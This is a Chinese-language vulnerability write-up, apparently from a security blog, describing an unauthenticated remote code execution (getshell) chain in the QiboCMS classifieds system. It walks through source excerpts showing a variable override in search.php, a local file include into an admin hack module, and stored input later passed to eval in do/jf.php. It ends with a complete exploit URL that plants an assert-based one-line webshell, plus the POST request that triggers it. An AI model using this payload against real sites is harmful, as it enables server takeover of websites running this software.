qibocms 分类系统最新版 前台无限制Getshell

  • A+
所属分类:漏洞时代
摘要

下载地址:http://down.qibosoft.com/down.php?v=fenlei1.0
首先来看一下inc/common.inc.php中可以看到city_id在全局文件中被intval了。
再看到search.php中

下载地址:http://down.qibosoft.com/down.php?v=fenlei1.0
首先来看一下inc/common.inc.php中

isset($page) && $page = intval($page);  isset($id) && $id = intval($id);  isset($fup) && $aid = intval($fup);  isset($aid) && $aid = intval($aid);  isset($rid) && $rid = intval($rid);  isset($fid) && $fid = intval($fid);  isset($cid) && $cid = intval($cid);  isset($cityid) && $cityid = intval($cityid);

可以看到city_id在全局文件中被intval了。
再看到search.php中

$postdb[city_id] && $city_id = $postdb[city_id];//对city_id 重新定义了一次。 导致了无视全局文件中的intval了。  $postdb[street_id] && $street_id = $postdb[street_id];  $postdb[zone_id] && $zone_id = $postdb[zone_id];  @include_once(ROOT_PATH."data/zone/$city_id.php");//包含 $city_fid=select_where("{$_pre}city","'postdb[city_id]'  onChange=/"choose_where('getzone',this.options[this.selectedIndex].value,'','1','')/"",$city_id);

全局有转义 截断不了
但是因为qibo的特殊性 在qibo的后台文件当中

function_exists('html') OR exit('ERR');

所以直接访问是不行的。是这样判断的 所以我们就算不能截断 我们可以直接把后台的文件包含进来 然后进而操作后台。所以qibo在操作包含的文件中都用正则来过滤了, 却遗漏了这里。打开do/js.php 发现

<?php  error_reporting(0);  require(dirname(__FILE__)."/../data/config.php");  if(!eregi("^([0-9]+)$",$_GET['id'])){   die("document.write('ID不存在');");  }

已经把extract去掉了, 那就找另外的。在admin/hack.php中

if($hack&&ereg("^([a-z_0-9]+)$",$hack))  {   if(is_file(ROOT_PATH."hack/$hack/admin.php")){    include(ROOT_PATH."hack/$hack/admin.php");   }else{    showmsg("文件不存在");   }  }

再包含文件 再继续跟。在hack/jfadmin/admin.php中

elseif($action=="addjf"&&$Apower[jfadmin_mod])  {          $db->query("INSERT INTO `{$pre}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( '$fid', '$title', '$content', '$list' )");   jump("添加成功","index.php?lfj=jfadmin&job=listjf&fid=$fid",1);  }

这里入库了。 再看到do/jf.php中

$lfjdb && $lfjdb[money]=get_money($lfjdb[uid]);    $query = $db->query("SELECT * FROM {$pre}jfsort ORDER BY list");  while($rs = $db->fetch_array($query)){     $fnameDB[$rs[fid]]=$rs[name];   $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid='$rs[fid]' ORDER BY list");//这里默认查的都是1 所以入库的时候fid弄为1   while($rs2 = $db->fetch_array($query2)){     eval("/$rs2[title]=/"$rs2[title]/";");//就eval了。    eval("/$rs2[content]=/"$rs2[content]/";");    $jfDB[$rs[fid]][]=$rs2;   }  }

准备写一句话的时候,却发现了,在inc/common.inc.php中

function Add_S($array){   foreach($array as $key=>$value){    @eregi("['///"]+",$key) && die('ERROR KEY!');    if(!is_array($value)){        $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符     $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数     !get_magic_quotes_gpc() && $value=addslashes($value);     $array[$key]=$value;    }else{     $array[$key]=Add_S($array[$key]);     }   }   return $array;  }

把eval替换了,这样我们就用assert把。
http://web/new/fenlei/search.php?mid=1&action=search&keyword=asd&postdb[city_id]=../../admin/hack&hack=jfadmin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=${@assert($_POST[yu])}

http://web/new/fenlei/do/jf.php

POST:yu=phpinfo();

qibocms 分类系统最新版 前台无限制Getshell

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: